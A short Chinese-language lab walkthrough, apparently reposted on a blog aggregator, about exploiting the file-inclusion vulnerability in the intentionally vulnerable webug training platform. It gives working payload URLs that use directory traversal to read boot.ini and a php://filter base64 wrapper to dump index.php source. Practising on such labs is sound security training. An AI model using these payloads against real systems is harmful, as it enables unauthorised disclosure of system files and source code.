webug4.0-文件包含漏洞_我们的漏洞webug 3.0中级进阶攻略(下)

作者：Monodyee | 2024-05-25 11:11:43

踩

我们的漏洞webug 3.0中级进阶攻略(下)

0x01 漏洞利用

1.打开页面看见url的暗示。。

http://192.168.72.136/control/more/file_include.php?filename=../../template/dom_xss.html

2.读取boot.ini

http://192.168.72.136/control/more/file_include.php?filename=../../../../boot.ini

想要读取其他敏感文件而不知道路径的请看我这篇文章。

控制好路径即可。

3.查看index.php源文件

192.168.72.136/control/more/file_include.php?filename=php://filter/read=convert.base64-encode/resource=../../index.php

base64编码直接解密就可以看到源码了。

0x02 结语

单

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Monodyee/article/detail/621809